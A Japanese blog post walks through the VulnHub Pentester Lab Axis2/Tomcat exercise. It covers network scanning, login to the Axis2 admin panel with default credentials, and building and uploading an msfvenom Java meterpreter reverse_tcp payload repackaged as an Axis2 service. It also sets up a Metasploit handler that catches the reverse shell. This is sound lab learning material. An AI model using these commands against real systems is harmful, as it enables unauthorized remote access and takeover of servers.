高林の雑記ブログ

こんにちは。

Walkthrough: Pentester Lab Axis2 Web service and Tomcat Manager

Pentester Lab: Axis2 Web service and Tomcat ManagerのWalkthroughです。
https://www.vulnhub.com/entry/pentester-lab-axis2-web-service-and-tomcat-manager,72/
なんとかshell奪うとこまで自力で行けたんですがいざ公式の解説読んでみると自分のやり方と全然違ってました。
ので自分が解いた方法のWalkthrough書くことにしました。
公式の解説は以下で見てください

pentesterlab.com

なお、調査の方法は自分の書いた記事を参考にしています。

kakyouim.hatenablog.com
(ここには解き終わったらその都度追加していってるので、今回の手法も書いてありますが解いてる時点では書いてありません)

ネットワークの調査

  • echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
    f:id:kakyouim:20200128193451p:plain
    192.168.56.31が対象のアドレスですね

  • nmap -p- -sV -sT -A 192.168.56.31
    f:id:kakyouim:20200128193547p:plain
    sshApachewebサービスが稼働しているようですね

  • nikto -h 192.168.56.31
    f:id:kakyouim:20200128193646p:plain
    有効なものとしては、
    • axis2/axis2-admin/の存在
    • axis2/axis2-admin/loginにuser=admin,password=axis2でログイン可能
    • CVE-2010-2103(axis2へのXSS)
      を検出しています。

      クレデンシャル情報が特定できているのはめちゃくちゃありがたいですね。
      どうやらaxis2ではログインのためのアカウントがデフォルトで存在しており、そのパスワードが変更されていなかったようですね。

      ちなみに、tomcatのバージョンもエラーページから判明しました。
      f:id:kakyouim:20200128194637p:plain
      tomcat 6.0.35とnmapから判明したApache 2.2.16をsearchsploitで検索してみましたが特にそれっぽいExploitは見つかりませんでした。

      axis2へ攻撃

      f:id:kakyouim:20200128194459p:plain
      上記に先ほど判明したクレデンシャルを入れてログイン。

      ログインすると、uploadページがあるのでここからWebshellをアップできそうです!
      f:id:kakyouim:20200128195002p:plain

      いろいろググってみると、clusterdというツールでaxis2にWebshellをアップできるようです。
      早速使おう!……と思ったのですがどうやらmsfpayloadがないことでエラーが起きています。現在はmafpayloadはmsfvenomにアップグレードされたため存在しません。
      つまりこのツールは動かなそうです。
      でも違いはそれだけなのでソースコードを参照して手動でWebshellを設置してみます

      f:id:kakyouim:20200128195427p:plain
      これから、この動作をmsfvenomで書き直すと、
      sudo msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f jar -o shell.jar
      で行けそうです。
      これをアップロードしてみます。しかし以下のようなエラーにより動いていません
      f:id:kakyouim:20200128195805p:plain
      どうやらservices.xmlとがいうファイルが足りてないようです。
      またググってみると、以下のようなページを見つけたのでそれに従ってみます。

https://github.com/hatRiot/clusterd/wiki/Axis2

sudo jar -xvf shell.jarで一度展開し、
META-INF/src/module/generate_payload.pyに書かれているservices.xmlを追加。
metasploit/src/lib/axis2/PayloadServlet.classを追加.
そして、
sudo jar cvfm shell4.jar META-INF/MANIFEST.MF META-INF metasploit metasploit.dat で再度jarファイルを作成し、アップロード。

f:id:kakyouim:20200128200301p:plain
これでエラーなく動いていますね!!
あとはMetasploitを起動して、

use multi/handler
set PAYLOAD java/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.56.5
exploit

これでTCPHandlerを待機させておいて、
http://192.168.56.31/axis2/services/shellにアクセスすることでMeterpreterセッションがつながりました!
f:id:kakyouim:20200128200530p:plain


ヤッタゼ
でもこれって全然予想解答じゃないんですね……。自分はniktoの結果見て食いついてしまいました
Metasploit使っちゃったんですがこの方法でMetasploit使わずに成功させたいですね

最後に

予想解答ではなかったようですがShell取れたのでヨシ!(違う)
Metasploit使っちゃたので使わないで成功させる方法も考えたい。
Pentesterlab学べることが多くていいですね!